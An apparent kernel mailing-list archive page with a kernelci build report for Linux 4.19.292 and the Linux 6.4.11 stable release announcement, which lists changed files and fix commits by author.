Documentation/x86: Fix backwards on/off logic about YMM support
Greg Kroah-Hartman (2):
x86: fix backwards merge of GDS/SRSO bit
Linux 5.4.252
Juergen Gross (2):
x86/xen: Fix secondary processors' FPU initialization
x86/mm: fix poking_init() for Xen PV guests
Kim Phillips (1):
x86/cpu, kvm: Add support for CPUID_80000021_EAX
Peter Zijlstra (3):
x86/mm: Use mm_alloc() in poking_init()
mm: Move mm_cachep initialization to mm_init()
x86/mm: Initialize text poking earlier
Ross Lagerwall (1):
xen/netback: Fix buffer overrun triggered by unusual packet
Sean Christopherson (1):
x86/cpufeatures: Assign dedicated feature word for CPUID_0x8000001F[EAX]
Thomas Gleixner (15):
init: Provide arch_cpu_finalize_init()
x86/cpu: Switch to arch_cpu_finalize_init()
ARM: cpu: Switch to arch_cpu_finalize_init()
ia64/cpu: Switch to arch_cpu_finalize_init()
m68k/cpu: Switch to arch_cpu_finalize_init()
mips/cpu: Switch to arch_cpu_finalize_init()
sh/cpu: Switch to arch_cpu_finalize_init()
sparc/cpu: Switch to arch_cpu_finalize_init()
um/cpu: Switch to arch_cpu_finalize_init()
init: Remove check_bugs() leftovers
init: Invoke arch_cpu_finalize_init() earlier
init, x86: Move mem_encrypt_init() into arch_cpu_finalize_init()
x86/fpu: Remove cpuinfo argument from init functions
x86/fpu: Mark init functions __init
x86/fpu: Move FPU initialization into arch_cpu_finalize_init()
Tom Lendacky (2):
x86/cpufeatures: Add SEV-ES CPU feature
x86/cpu: Add VM page flush MSR availablility as a CPUID feature
2 years, 4 months
- 4
- 5
stable/linux-4.19.y build: 19 builds: 3 failed, 16 passed, 20 warnings (v4.19.292)
by kernelci.org bot
stable/linux-4.19.y build: 19 builds: 3 failed, 16 passed, 20 warnings (v4.19.292)
Full Build Summary: https://kernelci.org/build/stable/branch/linux-4.19.y/kernel/v4.19.292/
Tree: stable
Branch: linux-4.19.y
Git Describe: v4.19.292
Git Commit: 4e5e7fa94ee0ff378b268679d51feb1fd2a04756
Git URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
Built: 7 unique architectures
Build Failures Detected:
riscv:
allnoconfig: (gcc-10) FAIL
defconfig: (gcc-10) FAIL
tinyconfig: (gcc-10) FAIL
Warnings Detected:
arc:
arm64:
defconfig (gcc-10): 3 warnings
defconfig+arm64-chromebook (gcc-10): 3 warnings
arm:
i386:
allnoconfig (gcc-10): 2 warnings
i386_defconfig (gcc-10): 2 warnings
tinyconfig (gcc-10): 2 warnings
mips:
riscv:
x86_64:
allnoconfig (gcc-10): 2 warnings
tinyconfig (gcc-10): 2 warnings
x86_64_defconfig (gcc-10): 2 warnings
x86_64_defconfig+x86-chromebook (gcc-10): 2 warnings
Warnings summary:
7 ld: warning: creating DT_TEXTREL in a PIE
6 aarch64-linux-gnu-ld: warning: -z norelro ignored
4 ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
3 ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
Section mismatches summary:
3 WARNING: modpost: Found 1 section mismatch(es).
================================================================================
Detailed per-defconfig build reports:
--------------------------------------------------------------------------------
32r2el_defconfig (mips, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
allnoconfig (riscv, gcc-10) — FAIL, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
allnoconfig (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
defconfig (riscv, gcc-10) — FAIL, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
defconfig (arm64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
aarch64-linux-gnu-ld: warning: -z norelro ignored
aarch64-linux-gnu-ld: warning: -z norelro ignored
aarch64-linux-gnu-ld: warning: -z norelro ignored
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
defconfig+arm64-chromebook (arm64, gcc-10) — PASS, 0 errors, 3 warnings, 0 section mismatches
Warnings:
aarch64-linux-gnu-ld: warning: -z norelro ignored
aarch64-linux-gnu-ld: warning: -z norelro ignored
aarch64-linux-gnu-ld: warning: -z norelro ignored
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
haps_hs_smp_defconfig (arc, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
i386_defconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
imx_v6_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
multi_v5_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
Section mismatches:
WARNING: modpost: Found 1 section mismatch(es).
--------------------------------------------------------------------------------
multi_v7_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
omap2plus_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (riscv, gcc-10) — FAIL, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
tinyconfig (i386, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_32.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
tinyconfig (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
vexpress_defconfig (arm, gcc-10) — PASS, 0 errors, 0 warnings, 0 section mismatches
--------------------------------------------------------------------------------
x86_64_defconfig (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
--------------------------------------------------------------------------------
x86_64_defconfig+x86-chromebook (x86_64, gcc-10) — PASS, 0 errors, 2 warnings, 0 section mismatches
Warnings:
ld: arch/x86/boot/compressed/head_64.o: warning: relocation in read-only section `.head.text'
ld: warning: creating DT_TEXTREL in a PIE
---
For more info write to <info(a)kernelci.org>
2 years, 4 months
- 1
- 0
Linux 6.4.11
by Greg Kroah-Hartman
I'm announcing the release of the 6.4.11 kernel.
All users of the 6.4 kernel series must upgrade.
The updated 6.4.y git tree can be found at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git linux-6.4.y
and can be browsed at the normal kernel.org git web browser:
https://git.kernel.org/?p=linux/kernel/git/stable/linux-stable.git;a=summary
thanks,
greg k-h
------------
Makefile | 2
arch/alpha/kernel/setup.c | 3
arch/arm64/kvm/arm.c | 15
arch/parisc/Kconfig.debug | 2
arch/parisc/include/asm/spinlock.h | 2
arch/parisc/include/asm/spinlock_types.h | 6
arch/parisc/kernel/sys_parisc.c | 15
arch/parisc/kernel/syscall.S | 23
arch/riscv/include/asm/mmio.h | 16
arch/riscv/include/asm/pgtable.h | 2
arch/riscv/kernel/elf_kexec.c | 3
arch/riscv/mm/init.c | 16
arch/riscv/mm/kasan_init.c | 1
arch/x86/boot/compressed/idt_64.c | 9
arch/x86/boot/compressed/sev.c | 37 +
arch/x86/entry/vdso/vma.c | 4
arch/x86/include/asm/acpi.h | 2
arch/x86/include/asm/linkage.h | 2
arch/x86/include/asm/processor.h | 2
arch/x86/include/asm/segment.h | 2
arch/x86/kernel/acpi/boot.c | 4
arch/x86/kernel/cpu/amd.c | 1
arch/x86/kernel/vmlinux.lds.S | 12
arch/x86/kvm/svm/sev.c | 94 +--
arch/x86/kvm/svm/svm.h | 26 +
arch/x86/kvm/x86.c | 2
drivers/accel/ivpu/ivpu_gem.c | 8
drivers/acpi/resource.c | 64 ++
drivers/acpi/scan.c | 1
drivers/android/binder.c | 1
drivers/android/binder_alloc.c | 6
drivers/android/binder_alloc.h | 1
drivers/block/zram/zram_drv.c | 32 -
drivers/char/tpm/tpm-chip.c | 83 ---
drivers/char/tpm/tpm_crb.c | 30 +
drivers/char/tpm/tpm_tis.c | 20
drivers/cpufreq/amd-pstate.c | 10
drivers/cpuidle/cpuidle-psci-domain.c | 39 -
drivers/cpuidle/dt_idle_genpd.c | 24
drivers/cpuidle/dt_idle_genpd.h | 7
drivers/dma/idxd/device.c | 4
drivers/dma/mcf-edma.c | 13
drivers/dma/owl-dma.c | 2
drivers/dma/pl330.c | 18
drivers/dma/xilinx/xdma.c | 6
drivers/gpio/gpio-sim.c | 1
drivers/gpio/gpio-ws16c48.c | 2
drivers/gpu/drm/amd/amdgpu/amdgpu.h | 4
drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 2
drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 26 +
drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm.c | 5
drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm_mst_types.c | 2
drivers/gpu/drm/amd/display/dc/dce110/dce110_hw_sequencer.c | 3
drivers/gpu/drm/amd/display/dc/dcn30/dcn30_dpp.c | 7
drivers/gpu/drm/amd/pm/inc/amdgpu_dpm.h | 2
drivers/gpu/drm/amd/pm/powerplay/amd_powerplay.c | 48 +
drivers/gpu/drm/amd/pm/powerplay/hwmgr/hardwaremanager.c | 4
drivers/gpu/drm/amd/pm/powerplay/hwmgr/smu7_hwmgr.c | 2
drivers/gpu/drm/amd/pm/powerplay/hwmgr/smu_helper.c | 27 -
drivers/gpu/drm/amd/pm/powerplay/hwmgr/vega10_hwmgr.c | 10
drivers/gpu/drm/amd/pm/powerplay/hwmgr/vega12_hwmgr.c | 4
drivers/gpu/drm/amd/pm/powerplay/hwmgr/vega20_hwmgr.c | 4
drivers/gpu/drm/amd/pm/powerplay/inc/hwmgr.h | 2
drivers/gpu/drm/amd/pm/powerplay/inc/power_state.h | 1
drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c | 34 +
drivers/gpu/drm/amd/pm/swsmu/inc/amdgpu_smu.h | 2
drivers/gpu/drm/amd/pm/swsmu/smu11/smu_v11_0.c | 9
drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0.c | 9
drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c | 3
drivers/gpu/drm/bridge/ite-it6505.c | 4
drivers/gpu/drm/drm_gem_shmem_helper.c | 6
drivers/gpu/drm/nouveau/nouveau_connector.c | 2
drivers/gpu/drm/nouveau/nvkm/engine/disp/dp.c | 48 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgf100.h | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk104.c | 4
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110.c | 10
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110b.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk208.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgm107.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/tu102.c | 13
drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 17
drivers/hwmon/aquacomputer_d5next.c | 37 +
drivers/hwmon/pmbus/bel-pfe.c | 16
drivers/iio/adc/ad7192.c | 16
drivers/iio/adc/ina2xx-adc.c | 9
drivers/iio/adc/meson_saradc.c | 23
drivers/iio/common/cros_ec_sensors/cros_ec_sensors_core.c | 2
drivers/iio/frequency/admv1013.c | 5
drivers/iio/imu/st_lsm6dsx/st_lsm6dsx_core.c | 2
drivers/iio/industrialio-core.c | 5
drivers/iio/light/rohm-bu27034.c | 22
drivers/infiniband/core/umem.c | 3
drivers/infiniband/hw/bnxt_re/main.c | 4
drivers/infiniband/hw/hfi1/chip.c | 1
drivers/interconnect/qcom/bcm-voter.c | 5
drivers/interconnect/qcom/icc-rpmh.h | 2
drivers/interconnect/qcom/sa8775p.c | 1
drivers/interconnect/qcom/sm8450.c | 9
drivers/interconnect/qcom/sm8550.c | 17
drivers/isdn/mISDN/dsp.h | 2
drivers/isdn/mISDN/dsp_cmx.c | 2
drivers/isdn/mISDN/dsp_core.c | 2
drivers/misc/cardreader/rts5227.c | 2
drivers/misc/cardreader/rts5228.c | 18
drivers/misc/cardreader/rts5249.c | 3
drivers/misc/cardreader/rts5260.c | 18
drivers/misc/cardreader/rts5261.c | 18
drivers/misc/cardreader/rtsx_pcr.c | 5
drivers/mmc/host/moxart-mmc.c | 8
drivers/mmc/host/sdhci_f_sdh30.c | 60 +-
drivers/net/bonding/bond_main.c | 4
drivers/net/dsa/ocelot/felix.c | 2
drivers/net/ethernet/freescale/enetc/enetc_pf.c | 103 ++-
drivers/net/ethernet/hisilicon/hns3/hns3_debugfs.c | 4
drivers/net/ethernet/hisilicon/hns3/hns3_enet.c | 14
drivers/net/ethernet/hisilicon/hns3/hns3pf/hclge_debugfs.c | 4
drivers/net/ethernet/hisilicon/hns3/hns3pf/hclge_main.c | 24
drivers/net/ethernet/ibm/ibmvnic.c | 112 +++-
drivers/net/ethernet/intel/iavf/iavf_ethtool.c | 5
drivers/net/ethernet/intel/iavf/iavf_fdir.c | 11
drivers/net/ethernet/intel/igc/igc.h | 4
drivers/net/ethernet/intel/igc/igc_main.c | 34 +
drivers/net/ethernet/marvell/prestera/prestera_router.c | 14
drivers/net/ethernet/mellanox/mlx5/core/en/tc_tun_encap.c | 6
drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 11
drivers/net/ethernet/mellanox/mlx5/core/en_tc.c | 21
drivers/net/ethernet/mellanox/mlx5/core/lag/port_sel.c | 2
drivers/net/ethernet/mellanox/mlx5/core/lib/clock.c | 5
drivers/net/ethernet/mellanox/mlx5/core/main.c | 2
drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 3
drivers/net/ethernet/mellanox/mlx5/core/steering/dr_ptrn.c | 2
drivers/net/ethernet/microsoft/mana/mana_en.c | 37 +
drivers/net/ethernet/pensando/ionic/ionic_lif.c | 23
drivers/net/macsec.c | 28 -
drivers/net/phy/at803x.c | 2
drivers/net/tun.c | 2
drivers/net/vxlan/vxlan_vnifilter.c | 11
drivers/net/wireguard/allowedips.c | 8
drivers/net/wireguard/selftest/allowedips.c | 16
drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c | 5
drivers/net/wireless/realtek/rtw89/mac.c | 2
drivers/nvme/host/core.c | 10
drivers/nvme/host/pci.c | 3
drivers/nvme/host/rdma.c | 3
drivers/nvme/host/tcp.c | 3
drivers/pci/bus.c | 4
drivers/pci/controller/Kconfig | 1
drivers/pci/of.c | 5
drivers/platform/x86/lenovo-ymc.c | 25
drivers/platform/x86/mlx-platform.c | 23
drivers/platform/x86/msi-ec.c | 18
drivers/platform/x86/serial-multi-instantiate.c | 35 +
drivers/scsi/53c700.c | 2
drivers/scsi/fnic/fnic.h | 2
drivers/scsi/fnic/fnic_scsi.c | 6
drivers/scsi/qedf/qedf_main.c | 18
drivers/scsi/qedi/qedi_main.c | 18
drivers/scsi/raid_class.c | 1
drivers/scsi/scsi_proc.c | 30 -
drivers/scsi/snic/snic_disc.c | 1
drivers/scsi/storvsc_drv.c | 4
drivers/thunderbolt/tb.c | 2
drivers/ufs/host/ufs-renesas.c | 2
drivers/usb/common/usb-conn-gpio.c | 6
drivers/usb/dwc3/gadget.c | 9
drivers/usb/gadget/udc/core.c | 9
drivers/usb/storage/alauda.c | 12
drivers/usb/typec/altmodes/displayport.c | 18
drivers/usb/typec/tcpm/tcpm.c | 7
fs/btrfs/block-group.c | 17
fs/btrfs/block-group.h | 2
fs/btrfs/disk-io.c | 3
fs/btrfs/extent-tree.c | 5
fs/btrfs/extent_io.c | 13
fs/btrfs/inode.c | 10
fs/btrfs/relocation.c | 45 +
fs/btrfs/tree-checker.c | 14
fs/nilfs2/inode.c | 8
fs/nilfs2/segment.c | 2
fs/nilfs2/the_nilfs.h | 2
fs/proc/kcore.c | 30 +
fs/smb/server/smb2misc.c | 10
fs/smb/server/smb2pdu.c | 9
include/linux/cpu.h | 2
include/linux/skmsg.h | 1
include/linux/tpm.h | 1
include/net/cfg80211.h | 3
include/net/netfilter/nf_tables.h | 64 ++
include/trace/events/tcp.h | 5
io_uring/io_uring.c | 3
io_uring/openclose.c | 6
mm/damon/core.c | 1
mm/hugetlb.c | 75 +-
mm/memory-failure.c | 29 -
mm/zsmalloc.c | 14
net/core/filter.c | 6
net/core/skmsg.c | 10
net/core/sock_map.c | 10
net/dccp/output.c | 2
net/dccp/proto.c | 10
net/ipv4/ip_tunnel_core.c | 2
net/ipv4/nexthop.c | 28 -
net/ipv6/ndisc.c | 3
net/mptcp/protocol.c | 4
net/mptcp/protocol.h | 1
net/mptcp/subflow.c | 58 +-
net/netfilter/nf_tables_api.c | 259 +++++++++-
net/netfilter/nft_set_hash.c | 85 ++-
net/netfilter/nft_set_pipapo.c | 66 +-
net/netfilter/nft_set_rbtree.c | 146 +++--
net/packet/af_packet.c | 16
net/smc/af_smc.c | 77 ++
net/smc/smc.h | 2
net/smc/smc_clc.c | 4
net/smc/smc_core.c | 25
net/smc/smc_sysctl.c | 10
net/tls/tls_device.c | 64 +-
net/wireless/nl80211.c | 5
net/xdp/xsk.c | 1
tools/testing/radix-tree/regression1.c | 2
tools/testing/selftests/bpf/prog_tests/sockmap_listen.c | 2
tools/testing/selftests/mm/ksm_tests.c | 1
tools/testing/selftests/net/fib_nexthops.sh | 10
tools/testing/selftests/net/forwarding/bridge_mdb.sh | 59 +-
tools/testing/selftests/net/forwarding/bridge_mdb_max.sh | 19
tools/testing/selftests/net/forwarding/ethtool.sh | 2
tools/testing/selftests/net/forwarding/ethtool_extended_state.sh | 2
tools/testing/selftests/net/forwarding/ethtool_mm.sh | 18
tools/testing/selftests/net/forwarding/hw_stats_l3_gre.sh | 2
tools/testing/selftests/net/forwarding/ip6_forward_instats_vrf.sh | 2
tools/testing/selftests/net/forwarding/lib.sh | 17
tools/testing/selftests/net/forwarding/settings | 1
tools/testing/selftests/net/forwarding/tc_actions.sh | 6
tools/testing/selftests/net/forwarding/tc_flower.sh | 8
tools/testing/selftests/net/forwarding/tc_tunnel_key.sh | 9
tools/testing/selftests/net/mptcp/mptcp_join.sh | 6
tools/testing/selftests/rseq/Makefile | 4
tools/testing/selftests/rseq/rseq.c | 2
238 files changed, 2515 insertions(+), 1033 deletions(-)
Alan Stern (2):
usb-storage: alauda: Fix uninit-value in alauda_check_media()
USB: Gadget: core: Help prevent panic during UVC unconfigure
Alejandro Tafalla (1):
iio: imu: lsm6dsx: Fix mount matrix retrieval
Aleksa Sarai (1):
io_uring: correct check for O_TMPFILE
Aleksa Savic (1):
hwmon: (aquacomputer_d5next) Add selective 200ms delay after sending ctrl report
Alex Deucher (1):
drm/amdgpu: fix possible UAF in amdgpu_cs_pass1()
Alexandra Diupina (1):
scsi: 53c700: Check that command slot is not NULL
Alexandre Ghiti (1):
riscv: Start of DRAM should at least be aligned on PMD size for the direct mapping
Alisa Roman (1):
iio: adc: ad7192: Fix ac excitation feature
Alvin Šipraga (1):
iio: adc: ina2xx: avoid NULL pointer dereference on OF device match
Andrea Claudi (2):
selftests: mptcp: join: fix 'delete and re-add' test
selftests: mptcp: join: fix 'implicit EP' test
Andrea Parri (1):
riscv,mmio: Fix readX()-to-delay() ordering
Andrew Kanner (2):
net: core: remove unnecessary frame_sz check in bpf_xdp_adjust_tail()
drivers: net: prevent tun_build_skb() to exceed the packet size limit
Andrew Yang (1):
zsmalloc: fix races between modifications of fullness and isolated
Arnd Bergmann (3):
x86/speculation: Add cpu_show_gds() prototype
x86: Move gds_ucode_mitigated() declaration to header
drm/nouveau: remove unused tu102_gr_load() function
August Wikerfors (1):
nvme-pci: add NVME_QUIRK_BOGUS_NID for Samsung PM9B1 256G and 512G
Ayush Jain (1):
selftests: mm: ksm: fix incorrect evaluation of parameter
Badhri Jagan Sridharan (1):
usb: typec: tcpm: Fix response to vsafe0V event
Bartosz Golaszewski (1):
gpio: sim: mark the GPIO chip as a one that can sleep
Bjorn Helgaas (1):
Revert "PCI: mvebu: Mark driver as BROKEN"
Boris Brezillon (1):
drm/shmem-helper: Reset vma->vm_ops before calling dma_buf_mmap()
Borislav Petkov (AMD) (1):
x86/sev: Do not try to parse for the CC blob on non-AMD hardware
Chris Mi (1):
net/mlx5e: Unoffload post act rule when handling FIB events
Christoph Hellwig (4):
zram: take device and not only bvec offset into account
btrfs: don't stop integrity writeback too early
btrfs: don't wait for writeback on clean pages in extent_write_cache_pages
btrfs: properly clear end of the unreserved range in cow_file_range
Christophe JAILLET (1):
dmaengine: mcf-edma: Fix a potential un-allocated memory access
Colin Ian King (1):
radix tree test suite: fix incorrect allocation size for pthreads
Cristian Ciocaltea (1):
x86/cpu/amd: Enable Zenbleed fix for AMD Custom APU 0405
Dan Carpenter (1):
iio: frequency: admv1013: propagate errors from regulator_get_voltage()
Daniel Jurgens (1):
net/mlx5: Allow 0 for total host VFs
Daniel Stone (1):
drm/rockchip: Don't spam logs in atomic check
David Xu (1):
platform/x86: serial-multi-instantiate: Auto detect IRQ resource for CSC3551
Douglas Miller (1):
IB/hfi1: Fix possible panic during hotplug remove
Elson Roy Serrao (1):
usb: dwc3: Properly handle processing of pending events
Eric Dumazet (4):
macsec: use DEV_STATS_INC()
net/packet: annotate data-races around tp->status
tcp: add missing family to tcp_set_ca_state() tracepoint
dccp: fix data-race around dp->dccps_mss_cache
Evan Quan (2):
drm/amd/pm: expose swctf threshold setting for legacy powerplay
drm/amd/pm: avoid unintentional shutdown due to temperature momentary fluctuation
Fedor Pchelkin (1):
drivers: vxlan: vnifilter: free percpu vni stats on error path
Felix Fietkau (1):
wifi: cfg80211: fix sband iftype data lookup for AP_VLAN
Fenghua Yu (1):
dmaengine: idxd: Clear PRS disable flag when disabling IDXD device
Florian Westphal (2):
netfilter: nf_tables: don't skip expired elements during walk
tunnels: fix kasan splat when generating ipv4 pmtu error
Gal Pressman (1):
net/mlx5e: Take RTNL lock when needed before calling xdp_set_features()
George Stark (1):
iio: adc: meson: fix core clock enable/disable moment
Gerd Bayer (2):
net/smc: Fix setsockopt and sysctl to specify same buffer size again
net/smc: Use correct buffer sizes when switching between TCP and SMC
Greg Kroah-Hartman (1):
Linux 6.4.11
Hans de Goede (5):
ACPI: resource: revert "Remove "Zen" specific match and quirks"
ACPI: resource: Always use MADT override IRQ settings for all legacy non i8042 IRQs
ACPI: resource: Honor MADT INT_SRC_OVR settings for IRQ1 on AMD Zen
ACPI: resource: Add IRQ override quirk for PCSpecialist Elimina Pro 16 M
platform/x86: lenovo-ymc: Only bind on machines with a convertible DMI chassis-type
Hao Chen (1):
net: hns3: fix strscpy causing content truncation issue
Helge Deller (2):
io_uring/parisc: Adjust pgoff in io_uring mmap() for parisc
parisc: Fix lightweight spinlock checks to not break futexes
Ido Schimmel (19):
selftests: forwarding: Set default IPv6 traceroute utility
selftests: forwarding: tc_tunnel_key: Make filters more specific
selftests: forwarding: ethtool_mm: Skip when MAC Merge is not supported
selftests: forwarding: bridge_mdb_max: Check iproute2 version
selftests: forwarding: bridge_mdb: Check iproute2 version
selftests: forwarding: Add a helper to skip test when using veth pairs
selftests: forwarding: ethtool: Skip when using veth pairs
selftests: forwarding: ethtool_extended_state: Skip when using veth pairs
selftests: forwarding: hw_stats_l3_gre: Skip when using veth pairs
selftests: forwarding: Skip test when no interfaces are specified
selftests: forwarding: Switch off timeout
selftests: forwarding: tc_actions: Use ncat instead of nc
selftests: forwarding: tc_flower: Relax success criterion
selftests: forwarding: bridge_mdb_max: Fix failing test with old libnet
selftests: forwarding: bridge_mdb: Fix failing test with old libnet
selftests: forwarding: bridge_mdb: Make test more robust
nexthop: Fix infinite nexthop dump when using maximum nexthop ID
nexthop: Make nexthop bucket dump more efficient
nexthop: Fix infinite nexthop bucket dump when using maximum nexthop ID
Ilpo Järvinen (1):
dmaengine: pl330: Return DMA_PAUSED when transaction is paused
Jakub Kicinski (1):
net: tls: avoid discarding data on record close
Jarkko Sakkinen (1):
tpm_tis: Opt-in interrupts
Jason A. Donenfeld (1):
wireguard: allowedips: expand maximum node depth
Jean Delvare (1):
platform/x86: msi-ec: Fix the build
Jianbo Liu (1):
net/mlx5e: TC, Fix internal port memory leak
Jie Wang (2):
net: hns3: refactor hclge_mac_link_status_wait for interface reuse
net: hns3: add wait until mac link down
Jinghao Jia (1):
x86/linkage: Fix typo of BUILD_VDSO in asm/linkage.h
Jonas Gorski (1):
net: marvell: prestera: fix handling IPv4 routes with nhid
Jonathan McDowell (1):
tpm/tpm_tis: Disable interrupts for Lenovo P620 devices
Josef Bacik (2):
btrfs: wait for actual caching progress during allocation
btrfs: set cache_block_group_error if we find an error
Kalesh AP (1):
RDMA/bnxt_re: Fix error handling in probe failure path
Karan Tilak Kumar (1):
scsi: fnic: Replace return codes in fnic_clean_pending_aborts()
Karol Herbst (2):
drm/nouveau/gr: enable memory loads on helper invocation on all channels
drm/nouveau/disp: Revert a NULL check inside nouveau_connector_get_modes
Karol Wachowski (1):
accel/ivpu: Add set_pages_array_wc/uc for internal buffers
Keith Yeo (1):
wifi: nl80211: fix integer overflow in nl80211_parse_mbssid_elems()
Kenneth Feng (1):
drm/amd/pm: correct the pcie width for smu 13.0.0
Kirill A. Shutemov (1):
x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
Kunihiko Hayashi (1):
mmc: sdhci-f-sdh30: Replace with sdhci_pltfm
Li Yang (1):
net: phy: at803x: remove set/get wol callbacks for AR8032
Long Li (1):
ksmbd: validate command request size
Lorenzo Stoakes (1):
fs/proc/kcore: reinstate bounce buffer for KCORE_TEXT regions
Lyude Paul (1):
drm/nouveau/nvkm/dp: Add workaround to fix DP 1.3+ DPCD issues
Maciej Żenczykowski (1):
ipv6: adjust ndisc_is_useropt() to also return true for PIO
Magnus Karlsson (1):
xsk: fix refcount underflow in error path
Mario Limonciello (5):
tpm: Disable RNG for all AMD fTPMs
tpm: Add a helper for checking hwrng enabled
drm/amd/display: Fix a regression on Polaris cards
drm/amd: Disable S/G for APUs when 64GB or more host memory
drm/amd/display: Don't show stack trace for missing eDP
Mark Brown (1):
selftests/rseq: Fix build with undefined __weak
Masahiro Yamada (1):
alpha: remove __init annotation from exported page_is_ram()
Matti Vaittinen (1):
iio: light: bu27034: Fix scale format
Maulik Shah (2):
cpuidle: dt_idle_genpd: Add helper function to remove genpd topology
cpuidle: psci: Move enabling OSI mode after power domains creation
Melissa Wen (1):
drm/amd/display: check attr flag before set cursor degamma on DCN3+
Miaohe Lin (2):
mm: memory-failure: fix potential unexpected return value from unpoison_memory()
mm: memory-failure: avoid false hwpoison page mapped error info
Michael Guralnik (1):
RDMA/umem: Set iova in ODP flow
Michael Kelley (1):
scsi: storvsc: Fix handling of virtual Fibre Channel timeouts
Mika Westerberg (1):
thunderbolt: Fix memory leak in tb_handle_dp_bandwidth_request()
Mike Kravetz (1):
hugetlb: do not clear hugetlb dtor until allocating vmemmap
Mike Tipton (1):
interconnect: qcom: Add support for mask-based BCMs
Milan Zamazal (1):
iio: core: Prevent invalid memory access when there is no parent
Ming Lei (3):
nvme: fix possible hang when removing a controller during error recovery
nvme-tcp: fix potential unbalanced freeze & unfreeze
nvme-rdma: fix potential unbalanced freeze & unfreeze
Minjie Du (1):
dmaengine: xilinx: xdma: Fix Judgment of the return value
Miquel Raynal (2):
dmaengine: xilinx: xdma: Fix interrupt vector setting
dmaengine: xilinx: xdma: Fix typo
Moshe Shemesh (2):
net/mlx5: Skip clock update work when device is in error state
net/mlx5: Reload auxiliary devices in pci error handlers
Muhammad Husaini Zulkifli (1):
igc: Add lock to safeguard global Qbv variables
Namjae Jeon (1):
ksmbd: fix wrong next length validation of ea buffer in smb2_set_ea()
Nathan Chancellor (1):
mISDN: Update parameter type of dsp_cmx_send()
Neil Armstrong (3):
interconnect: qcom: sa8775p: add enable_mask for bcm nodes
interconnect: qcom: sm8450: add enable_mask for bcm nodes
interconnect: qcom: sm8550: add enable_mask for bcm nodes
Nick Child (5):
ibmvnic: Enforce stronger sanity checks on login response
ibmvnic: Unmap DMA login rsp buffer on send login fail
ibmvnic: Handle DMA unmapping of login buffs in release functions
ibmvnic: Do partial reset on login failure
ibmvnic: Ensure login failure recovery is safe from other resets
Nick Desaulniers (2):
riscv: mm: fix 2 instances of -Wmissing-variable-declarations
x86/srso: Fix build breakage with the LLVM linker
Nilesh Javali (2):
scsi: qedi: Fix firmware halt over suspend and resume
scsi: qedf: Fix firmware halt over suspend and resume
Nitya Sunkad (1):
ionic: Add missing err handling for queue reconfig
Pablo Neira Ayuso (3):
netfilter: nf_tables: GC transaction API to avoid race with control plane
netfilter: nf_tables: adapt set backend to use GC transaction API
netfilter: nft_set_hash: mark set element as dead when deleting from packet path
Paolo Abeni (2):
mptcp: avoid bogus reset on fallback close
mptcp: fix disconnect vs accept race
Paolo Bonzini (2):
KVM: SEV: snapshot the GHCB before accessing it
KVM: SEV: only access GHCB fields once
